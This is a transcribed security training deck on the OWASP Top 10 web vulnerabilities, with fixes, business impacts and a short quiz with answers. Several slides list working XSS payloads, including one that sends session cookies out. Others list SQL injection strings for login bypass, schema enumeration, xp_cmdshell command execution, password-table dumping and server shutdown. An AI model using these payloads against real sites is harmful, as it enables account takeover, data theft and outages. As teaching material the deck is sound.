Top Ten Most Critical Web Application Security Vulnerabilities

Transcription

1 The OWASP Top 10

2 2

3 Top Ten Most Critical Web Application Security Vulnerabilities Cross-site scripting (XSS) Injection flaws Unvalidated input Buffer overflow Error handling Broken authentication and session management Broken access control Insecure storage Denial of service Insecure configuration management

4 Cross-Site Scripting (XSS) Occurs any time Raw data from attacker is sent to an innocent user Raw data Stored in database Reflected from web input (form field, hidden field, url, etc ) Sent directly into rich JavaScript client Virtually every web application has this problem Try this in your browser javascript:alert(document.cookie)

5 Stored Cross-Site Scripting Illustrated 1 Attacker sets the trap update my profile Attacker enters a malicious script into a web page that stores the data on the server Application with stored XSS vulnerability 2 Victim views page sees attacker profile Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Custom Code Script runs inside victim s browser with full access to the DOM and cookies 3 Script silently sends attacker Victim s session cookie

6 Reflected Cross Site Scripting Illustrated Search-field input is often reflected back to user. <script>alert(document.cookie)</script> Site reflects the script back to user where it executes and displays the session cookie in a pop-up.

7

8 Cross Site Scripting Attacks <style url(javascript:alert('javascript is executed'));</style> <STYLE url( <LINK REL=STYLESHEET TYPE="text/javascript" SRC="javascript_path.js"> <P STYLE="left:expression(eval('alert(\'JavaScript is executed\');window.close()'))" > <LAYER SRC="js.html"></LAYER> -- also ILAYER, FRAME, IFRAME use to execute remote JavaScript <IMG SRC="&{javascript_expression};"> <IMG SRC="&{alert('alert')};"> 'about:<script>alert();</script>' -- alternate form of script piece <IMG src="javascript:%61%6c%65%72%74%28%29%3b"> -- resolves to 'javascript.alert()'

9 Cross Site Scripting Attacks <script>alert('bang!');</script> // basic xss <SCRIPT SRC=" <IMG SRC "foo.jpg" <BODY ONLOAD=alert( xss )>> // no script/javascript <IMG SRC="javascript:alert('test');"> <IMG SRC="livescript:js_expression"> <IMG SRC="java script:js_expression"> <IMG SRC="java script:js_expression"> <IMG SRC="java script:js_expression"> <style TYPE="text/javascript">JS EXPRESSION</style> <style TYPE="text/javascript">alert(document.domain);</style> <STYLE TYPE="application/x-javascript">alert('JavaScript has been Executed');</STYLE> <script>document.location=' '+document.cookie</script>

10 XSS Example

11

12 Business Impacts of XSS Attackers can Steal user sessions for complete account takeover Steal data on web pages viewed by victim Deface pages viewed by victim Monitor pages viewed by victim *NEW* Scan victim s intranet Business consequences Washington Post story (NSA and many others) Loss of customer confidence

13 Finding and Fixing XSS Verify your architecture You ll need a validation library Verify the implementation Be sure there s a plan for input validation and encoding Positive validation methods for all untrusted data fields Static and dynamic tools have spotty coverage here Be sure it covers all input HTML entity encoding method (e.g. < > ') Search for calls that take input from untrusted sources Be sure it uses a positive security model Verify the use of input validation and encoding Use WebScarab to test the implementation

14 Techniques for Verifying Service Use Penetration Testing Vulnerability Scanning Code Review Static Analysis

15

16 Setting Up a Proxy in IE

17 OWASP WebScarab A Web Application Testing Proxy You cannot write secure Enable web applications or web services without a way to perform security tests Example Intercept Window

18

19 Using Eclipse for Code Review Powerful Search Tools Syntax highlighting Code browsing Security Help Static Analysis

20 Injection Flaws Injection means Tricking an application into including unintended commands in the data sent to an interpreter Interpreters Take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, etc SQL injection is still quite common Many applications still susceptible

21 Bobby Tables

22 SQL Injection Indirect attacks or SQL Injection One of the most common attacks on database applications is a SQL injection. During this attack malicious code is entered into web form fields to make a system execute a command shell or other code. It can be used to bypass authorization, retrieve unauthorized data and alter data on database systems. Here is an example of code used on a web application. username= johndoe and password= anonymous So what would happen if the inputted data were itself a single quote? If you get this error, then you can attempt SQL injection attacks. Microsoft OLE DB Provider for ODBC Drivers error 80040e14 ([Microsoft][ODBC Microsoft Access Driver] Extra ) In query expression UserID= AND Password = /_tblemployees/login3.asp, line 49

23 Why SQL Injection? This is an example of code that may be running on the SQL server: SELECT name, phone, address, bank_details FROM tbllogins WHERE name = AND password = ; The white boxes refer to the user input fields on the database front end although it is actually a variable containing some value. SELECT name, phone, address, bank_details FROM tbllogins WHERE name = & varname & AND password = & varpassword & ; The data you enter into the user input field is being used to build the complete SQL statement, but an attacker may not enter a username and password! By entering (injecting) a positive statement like OR 1=1;-- you can bypass the login authorization!

24 Why SQL Injection? Select name, phone, address, bank_details FROM tbllogins WHERE name = OR 1=1;-- AND password = ; What does it all mean? - Closes the user input variable. OR - Continues the SQL statement. 1=1 - A true statement. ; - Finishes the statement Comments the rest of the line so that is doesn t processed. get The server wants a balance between the value name and the user input. We give it 1=1 so that is sees a balance and logs us on as the first account in the table. SQL Injection has other possibilities as we will see shortly.

25 SQL Connection Properties Every connection to a database has properties assigned to it, this includes web front ends. The page itself has to authenticate. Username and Password are two of the properties. These properties determine the level of privileges that a user connects with and therefore what privileges your SQL statements are processed as.

26 SQL Injection: Enumeration Table and Field Name Enumeration. SELECT FName, LName, EmpID FROM Emp WHERE City = ; SELECT name FROM syscolumns WHERE xtype= U ;-- This will inject the code in red, which will retrieve the name of any user created columns throughout the whole table.

27 SQL Injection: Enumeration Other avenues are open to an attacker to enumerate information from a target database system. The use of verbose error messages can be very effective, especially if those error messages give away extra information. By using the HAVING SQL command, an attacker can generate an error from every recordset. SELECT name FROM logins WHERE name='' HAVING 1=1;-- AND password =''; The screenshot to the right is taken from Foundstone s HacmeBank application and shows the use of verbose error messages to enumerate information about tables and columns.

28 SQL Extended Stored Procedures Extended stored procedures allow the database server to perform powerful actions such as communicate with the OS. There are several extended stored procedures that can cause permanent damage to a system. We can execute an extended stored procedure using any input form with an injected command: webpage.asp?city=edinburgh ';EXEC master.dbo.xp_cmdshell 'iisreset' ; -- Username: ' ; EXEC master.dbo.xp_cmdshell 'iisreset' ; -- Password: This executes the xp_cmdshell stored procedure and passes a DOS type command to the operating system. MS SQL Server, by default, runs under an admin level service account!

29 SQL Extended Stored Procedures sp_makewebtask ; exec sp_makewebtask c:\inetpub\wwwroot\out.htm, Select name, password FROM master.dbo.sysxlogins

30 Shutting Down SQL Server One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service. Username: ' ; shutdown with nowait; -- Password: This can happen if the SQL command runs the following query: SELECT username FROM users WHERE username='; shutdown with nowait;- -' and password=' ';

31 Business Impacts of SQL Injection Attackers can Access the entire database schema Steal, modify, and delete database contents Prevent legitimate access to the database Run operating system commands on database server Disclose company proprietary data Business consequences Wall Street Journal story FTC prosecution (Guess Jeans, PETCO)

32 Finding and Fixing SQL Injection Verify your architecture Use a component or strict pattern for database queries Use validation and parameterized queries Validation detects attacks Verify the implementation Static analysis tools with data flow analysis getting good at this Search for calls that invoke the database Stored procedures provide only limited protection Parameterized queries prevent the damage Verify that validation and parameterized queries are used Make sure the queries are actually parameterized

33 Unvalidated Input Architectural issue Solving any single validation problem is simple Creating an architecture that prevents problems is hard Create a library for validation and encoding Make it the only way for developers to access raw input Use positive or whitelist validation Leading indicator of attacks in progress Virtually all applications let attackers attack forever without detecting they are under attack

34 Business Impacts of Unvalidated Input Attackers can Business consequences Destroy your application s integrity Sarbanes-Oxley Embed attacks in your data More vulnerabilities Trick you into forwarding attacks to other systems Extra expense constantly fixing and re-fixing input problems Use errors to learn how to attack better

35 Finding and Fixing Unvalidated Input Verify your architecture Do you have requirements and architecture for validation? Do developers have a clear guideline on how to do it? Validation needs to be pretty close to use Don t create maintenance problems Verify the implementation No tool support finding architecture-level issues Verify validation is done on all input Don t allow blacklists

36 Buffer Overflows A buffer overflow occurs when User input overflows the end of a buffer and overwrites the stack Can be used to execute arbitrary code All time vulnerability leader We ve understood this problem for 30 years Only diminishing now because Java and.net aren t susceptible Web applications Web applications read all types of input from users and pass to apps, DLL s, native code, operating system, etc

37 Buffer Overflow Illustrated 0xFFFFFFFF argument 2 argument 1 Address of Attack code return address frame pointer locals Attack code buffer From Dawn Song s RISE: tute/slides/song.ppt kernel space stack shared library heap bss static data code 0xC x x x

38 Business Impacts of Buffer Overflows Attackers can Completely compromise a web server Business consequences Complete loss of control of application and all data Launch additional attacks from compromised machine Difficult forensics and incident recovery Install rootkit Negligence lawsuit?

39 Finding and Fixing Buffer Overflows Verify your architecture Avoid the use of C and C++ directly and indirectly Beware native calls, JNI,.NET unmanaged code, exec Use static analysis tools These bugs can be extremely difficult to find and eliminate Verify the implementation Static analysis tools getting good at this problem Use safe string libraries correctly Keep up with patches

40 Improper Error Handling Web applications encounter error conditions Frequently this invokes untested code paths Attackers learn your application through error messages Identify attacks and handle appropriately Never show a user a stack trace If someone is attacking you, don t keep trying to help But how do you know which errors are attacks? Most web applications are quite fragile Especially when you use a tool like WebScarab

41

42 Improper Error Handling Illustrated Many security mechanisms fail open isauthenticated() isauthorized() isvalid() Bad logic if (!security test()) then return false return true Good logic if (security test()) then return true return false

43 Business Impacts of Improper Error Handling Attackers can Bypass security mechanisms Deny service Learn information about your application Business consequences Lack of detection allows attackers to attack until success Prevents legal response to successful attack

44 Finding and Fixing Improper Error Handling Verify your architecture Do you have a hierarchy of security exception types Do you track exceptions by user? Establish a pattern for your project Create guideline with a pattern for handling security errors Must address errors in all security mechanisms Verify the implementation Dynamic and static tools find the trivial problems Search for stack trace printing and empty catch blocks Use WebScarab to test the implementation

45 Broken Authentication and Session Mgmt HTTP is stateless protocol Session management Beware the side-doors Means credentials have to go with every request Should use SSL for everything requiring authentication SESSIONID used to track state since HTTP doesn t SESSIONID is just as good as credentials to an attacker Never expose SESSIONID on network, in browser, in logs, Change my password, remember my password, forgot my password, secret question, logout, address, etc

46

47

48 Broken Authentication Illustrated 1 User sends credentials Site uses URL rewriting (i.e., put session in URL) 2 Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Custom Code Bus. Functions 3 User clicks on a link to in a forum 5 Hacker uses JSESSIONID and takes over victim s account Hacker checks referer logs on and finds user s JSESSIONID 4

49 Business Impacts of Broken Authentication Attackers can Hijack other user s accounts Business consequences Lack of accountability Do anything that user can do Wall Street Journal story Privacy compliance violations

50 Finding and Fixing Broken Authentication Verify your architecture Authentication should be simple and centralized Use the standard session id provided by your container Be sure SSL protects both credentials and session id Verify the implementation Forget automated approaches Check your SSL certificate Examine all the authentication-related functions Verify that logoff actually destroys the session Use WebScarab to test the implementation

51 Broken Access Control How do you control what users can see and do? Many people call this authorization Many levels of access control needed Can this person access the site at all? Can they access this URL? Can they invoke this function? With these parameters? Can they access this data? Should they see the link to this resource or function? Unique for each site and role Flaws totally invisible to scanners

52 Broken Access Control Illustrated Attacker notices the URL indicates his role /user/getaccounts He modifies it to another directory (role) /admin/getaccounts, or /manager/getaccounts Attacker views more accounts than just their own

53 Where Does Access Control Typically Occur? In the environment Web server, app server, or filter (e.g., SiteMinder) enforces URL control And in the controller Code decides whether to invoke a business function And in the business logic Code decides whether to invoke a function or show data And in the data layer Code decides what data to show And in the presentation layer Code decides whether to show links, menus, buttons, forms, data User Browser Presentation Layer Data Layer Business Logic Controller Environment

54

55 Business Impacts of Broken Access Control Attackers can Access other user s accounts Access data they re not authorized for Invoke functions they re not authorized for Search for temporary report files Search for files not intended to be accessed in production Affect other user s accounts Business consequences Wall Street Journal story FTC prosecution

56 Finding and Fixing Broken Access Control Verify your architecture Use a simple, positive model at every layer Be sure you actually have a mechanism at every layer Beware of presentation layer access control The fact that there s no button or link won t stop a hacker Verify the implementation Forget automated approaches Verify the control flow in the code to ensure checks Use WebScarab to forge unauthorized requests

57 Insecure Storage Storing sensitive data insecurely Identify all sensitive data Identify all the places that sensitive data is located Identify all the connections that sensitive data traverses Protect with appropriate mechanisms File encryption, database encryption, access control, SSL

58 Insecure Storage Illustrated 1 User enters credit card number in form Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Custom Code 4 Malicious insider steals 40 million credit card numbers Logs are accessible to all members of IT staff for debugging purposes Log files Error handler logs CC details because merchant gateway is unavailable 3 2

59

60 Business Impacts of Insecure Storage Access confidential or private information Extract secrets to use in additional attacks Attackers can Business consequences Privacy lawsuit from EPIC Customer dissatisfaction and loss of trust PCI standard violation (e.g., lose ability to process CCs) org/ar/chrondatabreache s.htm

61 Finding and Fixing Insecure Storage Verify your architecture Identify all sensitive data Identify all the places that data is stored Ensure threat model accounts for possible attacks Verify the implementation Forget automated approaches Encryption is tricky use standard mechanisms Choose the right algorithm Store keys, certificates, and passwords carefully Analyze encryption code for common flaws

62 Application Denial of Service Reliance on applications The more we rely, the more we demand availability Denial of service attacks Attempt to block or interfere with the use of an application Called floods and lockouts How do you tell the difference Between legitimate users and a distributed DOS attack

63 Application DOS Illustrated 1 Attacker overloads some limited resource Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Custom Code Database 3 Legitimate user s request is rejected Database connection pool exhausted 2

64 Business Impacts of Application DOS Attackers can Prevent legitimate users from accessing data Business consequences Wall Street Journal story Interfere with business functions Undermined confidence in services Expensive response, forensics, and remediation

65 Finding and Fixing Application DOS Verify your architecture Analyze limited resources for possible exhaustion Try to cache everything before authentication Be sure to authenticate before spending resources Then you can block offending users Verify the implementation Forget automated approaches Like performance testing, but malicious! Review the code for possible resource exhaustion

66 Insecure Configuration Management Web applications rely on a secure foundation All through the network and platform Don t forget the development environment Is your source code a secret? Think of all the places your source code goes Security does not require secret source code CM must extend to all parts of the application All credentials should change in production

67 Insecure Configuration Illustrated Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Database Custom Code App Configuration Insider Framework App Server Web Server Hardened OS Development QA Servers Test Servers Source Control

68 Business Impacts of Insecure Configuration Attackers can Gain control of your entire application and data Business consequences Expensive forensics and remediation Install backdoor for future access Use platform as a launching point for other attacks

69 Finding and Fixing Insecure Configuration Verify your CM Secure configuration hardening guideline Must cover entire platform and application Analyze security effects of changes Can you dump the application configuration Build reporting into your process If you can t check it, it isn t secure Verify the implementation Scanning finds generic configuration problems

70 Where to Learn More

71 What best describes a buffer over flow. Memory management issues with memory heap space Injected SQL commands Malicious script on the server None of the above

72 What best describes a buffer over flow. Memory management issues

73 True or False. Stored Cross Site Scripting is reflected back to the browser

74 True or False. Stored Cross Site Scripting is reflected back to the browser False

75 All of the following are good to prevent SQL injection except. Prepared Statements Parameterized Queries Black list validation White List Validation

76 All of the following are good to prevent SQL injection except. Black list validation

77 Review Cross-site scripting (XSS) Injection flaws Unvalidated input Buffer overflow Error handling Broken authentication and session management Broken access control Insecure storage Denial of service Insecure configuration management